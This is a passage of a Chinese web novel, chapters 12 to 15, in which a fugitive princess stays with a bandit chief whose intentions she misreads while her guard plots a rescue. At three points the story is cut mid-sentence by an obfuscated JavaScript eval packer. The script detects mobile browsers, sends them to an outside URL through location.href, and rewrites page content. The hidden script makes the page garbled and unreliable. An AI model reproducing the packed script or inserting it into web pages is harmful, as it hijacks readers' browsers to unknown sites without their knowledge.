天色渐渐暗下来,白日绚烂的红枫,在黯淡天光下化作殷红色。 顾秉安说得没错,入夜后,这虞山的确更深露重,冷得骊珠忍不住齿关打颤。 长君提来一盏灯笼,骊珠便借着灯笼的一点温度取暖。 一弯弦月一点点爬上枝头。 南雍的气数还有十一年。 她曾亲眼见到北越和乌桓的大军渡江南下,踏过南雍百姓的尸骨,可她要如何挽救这个即将倾颓的王朝呢? 从来就没有人听她说话。 不知过了多久,长阶下传来了脚步声。 那人没有点灯,却在黑暗中走得不疾不徐,扰动林中不知名的花香。 “……大半夜的,坐这里干什么?” 骊珠感觉到有人在她面前蹲下。 睁开眼,一双噙着点点笑意的眼眸正瞧着她的睡颜。 “想趁岗哨打瞌睡的时候逃跑?还是想趁着天黑,在我必经之路上暗算我?” 他的笑容带着似真还假的轻浮。 心中想: 莫不是顾秉安说漏了嘴,让这狡猾的小娘子知道了他的图谋? 然而对面的少女只是吸了吸鼻子,眼眶有些红。 “都不是,我只是在等你回来。” 等这世上唯一会认真听她说话的人回来。 裴照野蓦然怔住。 12.第 12 章 ……等他? 山风吹得落叶沙沙,林中有秋虫低吟。 裴照野几乎怀疑自己是否出现了幻觉。 眼前这个坐在石阶上,提灯等候他归来的少女,宛如山间幻化而成的某种精怪,专门蛊惑行路之人。 “你怎么回来得这么晚?” 她揉揉眼,声音带着点嗔怪。 迎风浥露的面庞被朦胧灯笼一照,纤薄剔透如一瓣雪白牡丹。 又像一块冷透了的白玉糕。 裴照野盯着她的脸,喉结滑动了一下。 “丹朱和秉安没跟你说吗?我下山办事,今夜原本不一定能回来。” “说了啊,”少女双手搭在膝上,眼尾弯弯看他,“但我就是觉得你今晚会回来,果然被我等到了。” 她的语气…… 就像一个等待丈夫夜归的妻子。 裴照野忽而觉得很不自在。 他自幼反骨,独来独往惯了。 在裴府时自不必提,就算后来落草为寇,建了红叶寨,有了这些同生共死的兄弟,也没有她这样……这样…… 黏黏糊糊的。 “你等我做什么?” “等你……”骊珠面色一变,突然凑近猛嗅,“你身上怎么有血腥味儿?路上出什么事了吗?” “这个啊?” 裴照野浑不在意地看了看袖口。 “是遇上了几个人,不过……” “你受伤了吗?伤在何处?长君!长君快点给我掌灯!” 裴照野愣了一下,一时错过了解释的时机。 再回过神来时,那少女已经毫不见外地开始在他身上胡乱摸了起来。 是手臂? 还是腰腹? 她记得他的背脊也有两道特别长特别深的剑痕,该不会就是这一次…… “好不知礼的小娘子,我还没对你做什么,你倒是跑到土匪窝里非礼土匪头子来了。” 裴照野觉得好笑,伸出一只手轻而易举地将她双手同时禁锢住。 本来还有几句混不正经的话在嘴边,然而一对上她满怀担忧的一双眼,他忽然就有些说不出口了。 “……我没受伤,这血是旁人的。” 他简单解释了一遍始末。 归来路上,他在虞山附近瞧见了几个鬼鬼祟祟的人。 本想抓了审审,没想到这五个人一见被人发现,下手狠辣非常,直奔夺他性命而来。 裴照野也就没跟他们客气,直接送他们五人手拉手归西了。 骊珠眼中快要烧起来的焦灼终于平息几分。 骊珠后怕道: “还好,还好离红叶寨不远,否则你一人如何应对得了?” 裴照野眉梢微动。 他哪句话提过,不是他一个人应对的了? “等等——” 骊珠突然想到什么,脸色一白。 “那五人,什么打扮?尸首在何处?你、你带我去看看!” 长君也反应过来:“该不会是陆大……陆誉手下的人吧!” 骊珠没有回答,但也心中也连连喊遭,她应该早点提醒裴照野,真要是陆誉,那岂不是自己人杀自己人吗? 很快,裴照野带着骊珠去了横尸的地方。 骊珠立刻上去,忍着恶心挨个看了一遍,确定其中没有船上见过的面孔,这才放下了心口大石。 “不是他们。” 长君道:“可是,这都已经失散三日了,陆誉但凡还有口气,就算是游也该游到这虞山附近了吧。” 骊珠看着那些尸首,对他们的身份已经心中有数。 还能是谁? 定是替覃皇后办事的麾下鹰犬! 当日她在这一带失踪,找上红叶寨也并不奇怪。 她摇摇头: “就算到了这附近,陆誉若是个谨慎的,必定会打探这山中情况,自然会知道,这里有一个红叶寨,不会贸贸然上山的,现在我就怕……” “怕什么?” “我怕陆誉去告官!” 裴照野今后可是要位列三公的南雍栋梁。 以前出身寒门,就被那些狗眼看人低的世家子弟嘲笑,要是再加上个曾经落草为寇的污点,简直更没法在南雍官场做人了。 得想办法早些与陆誉通个气才行。 骊珠和长君二人躲在一边小声谋划。 但凡有一个人此刻抽空回头,都能在夜枫下看到一双眸光锐利的眼,正在冷冰冰地审视他们。 一个宦官。 一个让宛郡太守要借裴家之口,知会伊陵郡都尉抓人的女子。 再信她那套“裴胤之未婚妻”的说辞,未免太蠢。 其实昨日他就发现,那个叫长君的小侍卫,并非寻常侍卫。 他嗓音细,面白无须,还能贴身侍奉小娘子,除了宦官,他想不到第二种可能。 也就是说,这小娘子从雒阳而来是真,但药商之女却是假。 再加上今日他下山一趟,查出那几个到访过裴家的人,是从宛郡而来的公门中人。 事情全貌已然显露了七八分。 这是个有宦官侍奉的宗室之女。 她伪装身份从雒阳逃来,而宛郡太守得了某些人的命令,要暗中将她带回去。 当然,此事还有许多他想不通的疑点。 比如她为何会手持一封裴胤之的举荐信。 追杀她的那些人又是谁。 她为什么要千里迢迢逃出雒阳。 然而裴照野并不打算深究下去。 因为没有意义。 自打他与裴家断绝一切联系,落草为寇开始,他只管让红叶寨在这乱世能偏安一隅,哪有功夫管上头宗室世家官场的洪水滔天? 早点送她回家,于她自己,于红叶寨,都是一桩好事。 “——既然如此,明日要不要跟我下山一趟?说不定能打听到你那些护卫女婢的消息。” 与长君商量了好一会儿的骊珠猛地一回头。 裴照野的身影浸在枫叶的阴影下。 “诶?可以吗?”她惊喜地眨眨眼。 “你的《燕都赋》卖了不少钱,收钱办事而已。” 骊珠自然喜不自胜,连忙拄着拐到他身边,道: “那我们早点回去,明日早点出发!” “嗯。” 乘着月光,三人夜行林中,往山寨的方向走。 “对了,你还没回答我,为何要夜半守在寨门处等我?” 裴照野忽然开口。 骊珠自己都快忘了这回事,此刻被他提醒,带着一副告状的气势将食舍内的对话向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915049|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他复述了一遍。 最后总结: “他们太不像话了!如此没有血性,怎配做你的手下!” 听完她的话,裴照野露出古怪神色,瞥她一眼: “哦?那你觉得什么人,才配做我的手下?” “当然是和你一样志同道合、满腔热血、同仇敌忾,即便落草为寇报国无门也视北越为贼寇,一心收复北地的好汉!” ……她在说什么梦话呢? 裴照野觉得好笑。 她口中的“和他一样”,怎么听起来像是“截然相反”? 要不是她一脸真挚,他都快以为她是在故意阴阳怪气了。 不过裴照野也不欲跟她解释。 她这样想自己也挺好的,至少明日带她下山时,她能少几分警惕。 “唔……” 裴照野沉思片刻,煞有其事地叹息道: “总要给他们一点时间,你也看到了,这些弟兄大字不识几个,岂能人人和我一样,有这样的觉悟?” 骊珠想到此处,也觉得有道理。 这些草莽之辈,字都不认识几个,或许到了红叶寨之后才能勉强温饱,也不能对他们要求太苛刻。 “你说得对,识字才能明理,不说要学多少学问,识得几个字,既可以明理,可以写家书,日后还能看兵法……不然,以后我来教他们识字吧!” “你要教一群山匪识字?” 裴照野上上下下打量她好一会儿,发自内心地赞叹: “你他娘真是个天才。” “不准骂娘。”骊珠瞪他一眼,“山匪为何不需要识字?难道你要让他们做一辈子山匪吗?” 按照前世的时间,还有四年,他便会入仕。 那红叶寨呢? 她想让南雍扫除积弊,强大到能光复北越,驱逐乌桓,自然不可能放任这些匪贼继续盘踞一方。 在朝廷剿匪之前,她想给他们另寻一条出路,真正的出路。 裴照野却道: “做一辈子山匪又如何?你瞧不起这些见识短浅又粗鄙无礼的山匪,又焉知我们是否瞧得起那些金玉其外败絮其中的高门权贵?” 他吐字冷而利落,没有任何多余情绪。 却不知牵动了舌头上的哪根神经,不肯愈合的旧伤隐隐作痛。 身后的脚步声停了下来。 裴照野意识到今天话说得太多。 明日送她平安归家,大家桥归桥路归路,死生不会再见,何必说这些没用的话? 把这娇娘子惹哭了反倒麻烦。 正当裴照野思索着如何道歉哄她时,少女从他身后探出头来,认真地对他道: “我没有瞧不起你啊,真的,你别生气呀。” ……她倒关心他有没有生气。 裴照野松了一口气,又发觉这小娘子真是脾气好得过分,他刺她一句,倒好像一拳打在棉花上一样。 “我没生气。” 骊珠仔细观察了一会儿,见他果然没有生气,才笑道: “那就好,你想想,我要是瞧不起你,怎么会答应你的求娶,对不对?” 裴照野:“……?” 好一会儿。 他舔了舔唇,用一种费解的眼神望着她,道: “你刚刚说,你答应了什么?” 13.第 13 章 月朗星稀,四目相对。 偏头看他的少女眨了眨眼,笑成一弯弦月。 “你忘啦?他们叫我山主夫人的时候,我一次也没有否认啊。” 虽然他的匪贼身份的确吓了她一跳。 许多事隐瞒她,也让她很生气。 不过,她只是生气,又不是不喜欢他了,他要想娶她,她又怎么会拒绝呢? 裴照野:“……” 事情是如何发生到这一步的? 她长这么大,就没见过半个调戏她的男子,分不清什么是言语上占她便宜,什么是真的求娶? “你不是说,你是裴胤之的未婚妻?” 虎背蜂腰的男子一步一步逼近,目光幽深,在骊珠头顶落下大片阴影。 他一字一顿,慢悠悠地复述: “还说,他是你命中注定的良缘?” “……” 骊珠镇定自若地对答: “其实不瞒你说,我此来伊陵郡,就是为了退婚的!” 裴照野似笑非笑瞧着她辩解的模样。 “真的,我连裴胤之的面都没见过,他怎么会是我的良缘?相比之下,我们机缘巧合在虞山相遇,不比他更像命定的良缘?” 真话掺着假话,骊珠说得连自己都快信了。 一旁的长君听得眼珠子都快掉下来。 他们家公主为了在这贼匪手底下求生,竟然连这种话都能说出来。 真是遭了老罪了。 裴照野微微哂笑,也不知信还是没信。 但并没有继续追问。 “你的院子到了。” 骊珠回头看了一眼:“那我回去啦?” “这几日,住得可还习惯?” “习惯呀,”骊珠笑得很善解人意,“我要求不高,简陋点没关系的,这样就很不错了。” “……呵。” 简陋。 除了他住的小楼,红叶寨就数这院子最好了。 两人的身影渐渐远去。 不一会儿,顾秉安踱步而来。 “山主思定了?明日还要不要带沈娘子下山?” 裴照野看着内室亮起灯烛,少女的剪影投在窗上,朦朦胧胧地洇开。 好一会儿,他才收回视线。 小骗子。 为了活命真是什么话都说得出来,也不听听自己这话可不可信。 “带,怎么不带。” 顾秉安露出意外神色。 深蓝色的月夜下,裴照野转过身,慢悠悠地摆手。 “明日辰时三刻出发,记得套车。” - 经了几夜霜寒,虞山的红叶愈发浓郁,映得溪水也是一片鲜艳红色。 然而车轮滚滚声中,撩起车帘远眺的骊珠,却将视线落在更远处的大片金色稻田上。 “……好漂亮的稻田。” 秋晨浓雾散去,晴日下,风吹稻花,掀动一阵阵稻浪。 正是秋收的时节。 裴照野倚着车壁小憩,眼也不睁地笑: “还以为你们雒阳来的城里人不识五谷呢,没想到还认得稻子,不错。” 骊珠回头看他一眼,不满道: “瞧不起谁呢——长君,车就在这里,别压着稻子。” 这里地处虞山以东,与红叶寨之间隔着一座山峰,散落着几个村落。 再往东,过了虞水,就是伊陵郡的城池所在。 裴照野说,如果她的仆从是个有脑子的,约莫会先在这一带打听情况,可以从这里问起。 “那娘子在此等候,我先去打听打听。” 骊珠提前准备了陆誉画像,长君栓了马,拿着木牍,便去询问村中里正的所在。 “你就不要下去了。” 骊珠抬手抵住他胸膛,拦住了正欲跟着她下车的裴照野。 他挑眉:“为何?” 骊珠肃然告诫: “你没带面具,这里人多眼杂,别让太多人瞧见你的脸,不安全,就留在这里等我们吧。” 他定定看了她好一会儿,露出一个古怪笑意,骊珠不知道他在笑什么。 “好,你去吧。” 见他坐了回去,骊珠这才放心。 以后他是要去雒阳出将入相的。 虽说这里只是穷乡僻壤,但毕竟离红叶寨那么近,要是日后有心人翻旧账,必然会到这里来找证人。 知道他匪首身份的人,能少一个就少一个。 “——山主,这个小娘子是从哪儿冒出来?刚才猛一看,亲娘诶,长得这么带劲?” 兜着三五个梨子的草笠少年从田坎上经过,停在裴照野的车窗外。 他一边咬了口鲜嫩多汁的梨子,一边还在盯着少女的背影,眼珠子都没移开过半分。 裴照野瞥他一眼。 “好看吗?” “这话问得真多余,俺眼睛又没瞎……诶呦诶呦真瞎了!看不见了!山主饶命!” 溅了少年一脸的梨汁,裴照野重新从他怀里顺了一个,这才掀帘下车。 那少女已经提着裙摆进了稻田里。 她托着稻穗瞧来瞧去,转过头,笑吟吟地与割稻谷的大娘说着什么。 裴照野咬了口梨子。 “偷偷记什么呢?” 骊珠刚在田坎旁坐下,提笔写了几行字,就被突然冒出来的声音吓了一跳。 “不是不让你下车吗?”骊珠嗔怪瞪他。 “都忙着秋收呢,谁有空看我。” 裴照野夺过她手中木牍,仔细瞧了一会儿。 骊珠托着腮笑:“这上面的字,你识得?” “……” 裴照野丢还给她,冷嗤: “这几个字还是认得的,你记这些做什么?” 那木牍上记的是此地农夫每年秋收,自吃几成,充公几成,又存留几成。 “我……这是替我父亲记的,他平日就爱操心这些家国大事,我随便记记,日后回家也能与他聊上几句。” 裴照野目光漾动了一下。 这戏演得可真全套。 别说是钟鸣鼎食的宗室,就连裴家那样青黄不接的门第,家中子弟也没几个会到田间地头关心这些事。 他们只管取之尽锱铢,用之如泥沙便是。 她今日如此惺惺作态,不过只是投他所好,诱他上钩,方便日后摆弄他心思,从他手下脱身而已…… 田埂边一阵风吹过。 挽起的几缕发丝垂落,挡住了骊珠的视线。 然而还没等她腾出手来整理,就有一只手替她将发丝别在了耳后。 少女抬起头,笑起来唇畔有浅浅梨涡。 “谢谢你。” 悬在半空的手僵住。 好一会儿,他才收回微微蜷缩的手指,几乎有些仓皇地移开了视线。 骊珠并未察觉,低着头继续记录。 “而且,不问怎么知道,此地百姓竟比雒阳城外的农人还要富足,以前也从没听父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918391|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……父亲提起伊陵郡有拖欠税收之事,想必一定是太守调配得当,治理有方,才能既不负百姓,又不负朝廷。” 裴照野双手后撑,平视前方,浮出一个冷笑。 伊陵太守? 那个撮鸟懂什么治理,把他那身官服扒了给猴子穿,三年都不会有人发现太守换人了。 不多时,长君折返,有些失落地摇摇头。 “里正让人去问了,不过,他说最近没听说有谁见过生人。” 骊珠也不免有些失望。 裴照野短促地笑了一下。 随即起身,他道: “也别灰心啊,这附近还有几个村落,里正派人去问,总得花点时间,先在村里吃个便饭,下午再去虞山最近的襄城打听打听。” “不行。” 骊珠蓦然拽住他腿上的革带,担忧道: “红叶寨这么大一个寨子,你在官署里肯定挂了脸,不能在人多的地方露面,太危险了。” 他还没去谢稽门下求学,还没入雒阳为官。 南雍岌岌可危,苍生倒悬之难未解,他岂能中途被抓去下狱? 裴照野居高临下地审视她的模样。 即便是他这样涉世颇深的人,竟也一时分辨不出她脸上的担忧究竟是真是假。 昨夜她也是这样,一副很担心自己受伤的样子。 娇滴滴地、楚楚可怜地昂着头。 “……你!你怎么又这么看着我!” 骊珠突然发现他看自己的眼神又变得熟悉起来,双颊绯红,气恼地从地上抓起一粒小石子砸他。 裴照野歪头躲开,失笑: “我怎么了?不就是很平常地在看?” “哪里平常了!你分明就……” “就怎么?” 骊珠忿忿迎上他戏谑笑容,却无法拆穿他方才心中所想。 只好加快脚步,头也不回地朝马车而去。 年轻的匪首笑吟吟跟在她身后。 旁边有村民经过,刚要跟他打招呼时,他嘘了一声,指了指他头顶斗笠,村民了然,随手便借给了他。 虽然没有什么遮掩的必要…… 不过有个斗笠,她应该就不会多说什么了。 正想着,裴照野刚要踩上车蹬的脚步一顿。 锐利凛冽的视线突然朝稻田某处扫去。 错觉吗? 方才,似乎有人在暗中窥探。 车轮再度转动起来。 直到滚滚声渐远,稻田深处才有人微微抬起头。 “陆大人,这匪贼头子实在狡诈,竟然时刻守在公主身边,跟这些虞山村民串通一气,把公主骗得团团转!他到底想做什么!?” 陆誉望着那个方向,面色凝重道: “无论他想做什么,都必须尽早将公主从他手中救出来。” “怎么救?这红叶寨守备如此森严,外有村民通风报信,内靠山势水路层层严防,甚至连伊陵郡都处处是他的势力,如此手眼通天,我们几人连近公主的身都难啊!” 这几日,他们已经试过了所有办法。 甚至连送往雒阳的秘信,竟都被人拦截。 眼看就要走投无路,却听陆誉道: “光凭我们几人,的确不行,所以,我昨夜才往宛郡送了一封信,现在这个情形,如果还有一个人有能力从覃氏手中救出公主,就只有那个人了。” 宛郡覃氏的嫡长公子,清河公主即将定亲的未婚夫。 覃珣。 14.第 14 章 陆誉也很清楚,向覃珣求援,这完全是兵行险着。 御船遇刺的幕后主使尚未明朗,但陆誉心中暗暗忖度,有动机、有能力向他们下手的人,只有宫中的覃皇后和睢南薛氏。 若确定是睢南薛氏的手笔,自然可以向宛郡覃氏求助。 但现在覃氏也并不清白。 这样推测,此事就难办了。 不能直接信任宛郡覃氏的家主覃戎,也不能放任公主被一个乡野匪贼扣下,思来想去,陆誉只能赌一把。 就算覃氏真有问题,就算清河公主的未婚夫也心向覃氏。 真要到跟这些地头蛇你死我活的地步,他手中,还有陛下御赐的符节作为底牌。 不过现在不能轻举妄动。 他们初来乍到,对伊陵郡和宛郡官场局面两眼一抹黑。 别到时候螳螂捕蝉,黄雀在后,反倒被这匪贼和覃氏合围,那公主就真脱身无望了。 “他们出来了。” 在里正家门外蹲守了半个时辰,手下盯着出来的一行人道: “这不是回寨子的方向啊,这个方向……他们是要去襄城?” 襄城? 陆誉拢起眉头。 这匪首好大的胆子,抓了公主还敢带着公主招摇过市…… 莫非这匪首不知公主身份? 不是没有可能。 他虽与公主相识不久,但船上几日相处,也发现公主聪明机警,或许这次出行,就是公主在伺机逃跑呢? 那就更要拼一次了。 陆誉:“一队随我一道跟上他们,另一队去知会覃家派来的人,机不可失,今日务必救出公主!” - 骊珠全然不知陆誉那头的枕戈待旦。 他们一行人,先是在里正家中用了一顿清淡但滋味鲜美的午膳,又登船渡虞水,悠闲地赏了会儿沿途风光。 一路游山玩水般,刚过申时,襄城的城门便尽在眼前。 骊珠奇怪地咦了一声。 “怎么排了那么长的队伍,那些城门守卫查什么呢?” 裴照野瞥了她一眼。 还能查什么,查她呢。 伊陵郡太守的官署置襄城,他们上岸的地方,又是襄城最大的渡口。 伊陵郡既然收到宛郡太守的请求,替他们抓人,这里当然是盘查的重中之重。 不过今日他把这烫手山芋送回去后,就再也不必盘查了。 长君心中生疑,担心覃氏与伊陵郡的官员通了气,这些人是来抓他们的,于是对骊珠道: “娘子,不如我先去瞧瞧……” “我去吧,”裴照野拦下了长君,“那么多人,你挤不进去,我方才瞧见有我认识的守卫,我去问问。” 说完,他径直朝城门处而去。 戴着草笠的身影极高,即便人潮密集,也一眼就能瞧见。 骊珠和长君看到他与一名军士交谈了几句,很快便折返回来。 “似乎是城中有窃贼,这几日才盘查得严,无妨。” 骊珠颔首,长君却瞥了他一眼,将骊珠往旁边拽了拽。 “公主,不对吧,”长君小声道,“御船遇刺已经有几日了,伊陵郡不可能一无所知,怎么会没有反应呢?” 这么一说,骊珠沉吟半晌。 “有一种可能,我们与御船失散,方渐也死了,船上的人没了主心骨,只会遮掩消息,等到了宛郡后,再请示上级。” 骊珠在心底算了算航程。 “御船正常行驶,昨日才会到宛郡,伊陵郡这边还没收到消息,也很正常啊。” 长君欲言又止地望着她: “……还有一种可能,方才这个山主说了假话。” “绝不可能。” 骊珠想也不想,立刻否决。 “他说假话就意味着他想把我送走,他绝不会把我交给别人的。” 长君不知公主何处来的信心。 但现在这情形,转头就逃只怕也困难。 重新回到队伍中,裴照野的目光扫过长君眸含警惕的模样,双手环臂,姿态闲散地问: “说什么悄悄话去了?” “没什么。” 骊珠昂头看他,突然拽住他衣袖: “听说襄城繁华,各家食肆也颇有特色,我们寻人的路上,你能顺便带我去逛逛吗?” “……” 裴照野看了她一会儿。 “好啊。”他微微笑着。 队伍往前挪了一点。 骊珠仍然拽着他手肘的布料,捏得指尖发白,目光认真: “还有,丹朱姐说,襄城晚上每逢初一十五,夜里宵禁前还有百戏表演,我……也想看看,可以吗?能看得到吗?” 排在他们前面的人,一下子往前挪了好一段距离,裴照野却没有立刻跟上。 那双浓黑瞳仁静静凝望她的模样。 好一会儿,排在后面的人都快有怨言了,他才道: “怎么看不到?你要是想看,我们今晚在襄城住一夜,明早回去便是。” 他错开视线,抬脚缓步前行。 仿佛松了口气,骊珠嗯了一声,绽开一个大大的笑容。 “那就好,那就好。” 城门近在咫尺,守卫们冷着脸,吆喝着人快些通过,速度比之前似乎快了许多。 不知是否是错觉,好几人的视线似有若无地扫过他们。 长君神色戒备地盯着守卫,握着剑鞘的掌心微微浸出汗水。 前面只剩下两人。 身旁响起五铢钱相撞的声音,一阵风掠过。 “戴上这个。” 骊珠偏头望去,带着桂花香的层层白纱兜头落下,遮住了裴照野喜怒难辨的神色,也遮住了旁人的窥探。 卖帷帽的老婆婆收好钱,笑眯眯道: “如此漂亮的小娘子,戴了这帷帽遮得严严实实,真可惜嘞。” “不可惜,”耳畔响起男子噙着笑的嗓音,“夫人胆小,若被街上的浪荡货色惊扰了逛街的兴致,才叫可惜。” 骊珠眼露诧异,下一刻,城内突然一阵轰隆声。 那声音太大,引得不少人下意识望去,恰在此时,早已做好准备的城门校尉眸光一寒。 “嘘——” 一只手强而有力地覆上剑首,不动声色地将他即将出鞘的剑,缓慢摁了回去。 城门校尉憋红了脸,竟不能将剑再拔出半分。 杂耍艺人喷火飞丸,叠案倒立,人潮中叫好声此起彼伏,接连不断。 “裴照野,你这是什么意思?别太过分!你知道这是谁的命令吗——” 草笠下,一双浓黑眼眸如鬼悚然,笑得没有温度。 “安静点,我自有我的打算。” 长君第一个回过神来,扭头一瞧。 年轻匪首反手拍了拍城门校尉的胸口,面上仍噙着笑意,旁人乍一看,仿佛只是熟人之间的寒暄而已。 只有了解对方秉性的城门校尉本人,被他拍出了一身冷汗。 “这有什么好看的。”裴照野转身回到骊珠身旁,“晚上的百戏可比这精彩得多。” 骊珠惊喜道:“真的吗!可是这个看起来已经很厉害了!” “我们俩到底谁是城里人?你怎么比我还土?” “诶——我们不是还没检查吗?怎么直接就能进城了?” 裴照野面不改色:“哦,刚才他们说人已经抓到了,自然就不必再继续盘查。” 骊珠不疑有他。 长君倒是满腹狐疑,回头朝身后的城门看了好几眼。 然而那些守卫的确没有追上来。 ……是他想多了? 过了城门那一关,骊珠的心情明显好转许多。 白帷帽将她整个人从头到脚罩住,然而即便如此,偶尔风吹纱动,也仍然能窥见少女娉婷婀娜的身姿。 “……这是什么?” 裴照野不过是盯了几个目光在骊珠身上流连的男子,一转头,发现骊珠不知何时买了一串糖葫芦递给他。 “给我的?”裴照野挑眉。 “嗯嗯。” “我不要,”他否决得很快,“这是你们女孩儿家吃的东西。” 骊珠在心底不屑地哼了一声。 一个人就算再能装,也不能处处都装,至少在口味上,骊珠自信自己还是了解他的。 “我和长君方才买多了,这根实在吃不下,如今饴糖价高,扔了多浪费,你替我吃了吧。” 裴照野这才勉为其难地接了过来。 “娘子,这里有卖狸奴的!”长君惊喜地招手。 “哪儿呢哪儿呢!” 骊珠立刻被吸引了注意力,转而去看街旁竹筐里装着的狸奴。 她瞧着狸奴,裴照野在瞧她。 他看她都不知道自己来襄城是要做什么了。 咬了一粒糖山楂,裴照野想,方才只是一时鬼迷心窍,他的决定不会改,今日肯定要把她送走。 ……不过早上送和晚上送,区别也不大? 不如就让她在襄城玩一天算了。 好不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926951|175921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易从家里逃出来,受了伤,受了那么大的委屈,都还没玩过就被送回去,也是有些可怜。 少女蹲在竹筐旁,隔着缝隙,伸手摸了摸狸奴的脑袋,眼睛一下子亮起来。 “要买吗?” 骊珠看向在她旁边蹲下的男子。 裴照野也从缝隙里伸出两根手指摸了摸狸奴。 听了裴照野的话,她明显心动了一下,然而又很快摇摇头: “算了,我如今朝不保夕,买了它也照顾不好它,不如留在这里,兴许被哪个富贵人家瞧上,不比跟着我好?” 裴照野道:“你家中如此富贵,在家时就没养一只?” 提起这个,骊珠的眸色忽而黯淡下来。 “养过的。” 他的目光瞥向她。 骊珠将下颌抵住膝,碰了碰狸奴湿漉漉的鼻子: “小时候养过,很活泼,从不咬人,我和女婢们都很喜欢它,后来,它被我弟弟溺死在池塘里,捞上来的时候,瘦巴巴的一小团。我让人把它烧成一个瓷瓶,用朱漆在瓶身上画了它的画像,结果最后,那个瓷瓶也被我弟弟砸碎了。” “我没有什么本事,喜欢的东西,总是留不住,所以我想,护不住的东西,还是一开始就不要到我手里比较好。” 说完,骊珠又偏头看着突然沉默的男子。 “不过,我以后肯定会养的。” 裴照野对上她漾着一点浅浅笑意的眼眸。 “等以后,我们安定下来,我有保护它的能力之后,我们一起养一只。” 悬在竹筐旁的小铃铛被风吹动。 叮铃铃的一声。 裴照野惊醒过来。 “走吧走吧。” 骊珠起身,拽了拽他的草笠,指着身后的酒肆道: “酒肆一贯是消息最灵通的地方,我们去吃一盏酒,顺便打听打听我护卫的消息。” 顺着骊珠指的方向,裴照野一眼就看到了一间熟悉的酒肆。 “……吃酒伤身。” 他忽而伸手抓住骊珠的手臂,笑了笑: “你知道,我们当匪贼的旧疾颇多,酒喝多了难免发作,不如还是去旁边的茶寮好了。” 骊珠一听这话,连忙点头: “好好好,那就去喝茶吧。” 他果真早就有旧疾! 等以后联络上玄英和她带来的医师,一定得好好给他瞧瞧,将他的身体早早调养好! 到了茶寮门口,裴照野却没有上去。 说是在旁边瞧见了熟人,让骊珠他们先去,自己随后就来。 骊珠自然没有怀疑地进了茶寮。 半晌后,负手而立的裴照野转了转手里糖葫芦的竹签,掉头进了方才的酒肆内。 “——裴山主果然手眼通天,这么快就把人找到了。” 明明是生意最好的时辰,酒肆内却空无一人,只有一名身形健硕的男子从柜台后走出。 裴照野倚着柱子道: “什么人?齐大人这话,我有些听不太懂。” 对面人的面色冷了几分。 上不了台面的匪贼,竟敢在这里装傻充楞,坐地起价。 “裴山主说笑了,昨日你才来打听过我们的消息,怎么隔了一日,就浑不记得了?” 那健硕男子侧身拍了拍手。 十余名好手鱼贯而出,皆杀意凛然地紧盯着他。 “不记得也不要紧,我们自取便可。” 将最后一口糖山楂咬下,裴照野转着手里的竹签,心想这小玩意儿的确还挺好吃的。 下一刻,沾着糖渣的竹签贯穿了那人的眼珠。 一巷之隔的茶寮内。 骊珠的茶已经喝过三泡,却仍迟迟不见裴照野的踪影。 “……好慢啊,他该不会是迷路了吧?” 长君左顾右盼,悄声道: “公主,现下是个好机会,这里人多眼杂,正是我们逃跑的好时机!” 骊珠偏头看他:“你有钱吗?” 长君:“……” “还是你有人能替我们找到陆誉?” 长君无言以对。 骊珠安慰道:“别那么紧张,你之前不也说他是君子吗?他不会伤害我们的,相信我。” “可是……” “长君说得没错。” 骊珠和长君齐齐看向给他们斟茶的小二。 那人抬眼,五官端正,目光凝重,正是阔别数日的陆誉。 他道:“那个人很危险,公主,趁现在,你得立刻跟我走了。” 15.第 15 章 茶寮二楼,两侧竹帘半垂,隔出一方安静空间。 骊珠骤然见到陆誉,简直欣喜若狂。 然而很快,她意识到陆誉方才说了什么,冷静下来道: “不行,现在不是时候。” 她这趟出巡原本就是为裴照野而来,如今阴差阳错遇上,要走并不难,难的是今后就没有理由再回来了。 长君和陆誉同时露出惊愕神色。 “公主何出此言,这怎么就不是……” 骊珠一时很难与他们解释,她跳过这个问题,追问: “玄英她们呢?” 陆誉答:“遇刺第二日午后就遇上她们了,所以才知道公主在虞山遇匪的事,公主放心,她们都很安全,倒是公主,方渐他们……” 长君将当日种种一一道来。 听到那红叶寨的匪首对公主并未冒犯,衣食住行也多有照拂,陆誉放心之余,也明白骊珠为何不急着跟他走了。 “可是公主,您可知他此行带您下山,正是为了把你送入虎口啊!” ……什么? 望着骊珠的惊愕面庞,陆誉指向一旁的酒肆。 “我们方才躲在暗处观察情况时,您猜我们在那间酒肆里看见了谁?正是拦截我们送往雒阳信件的人!那匪首与公主分开,转头就进了那间酒肆,您想想,此刻他们在谈什么?” 陆誉不会骗她。 骊珠张了张嘴,好一会儿,才问: “可……他有什么理由……” 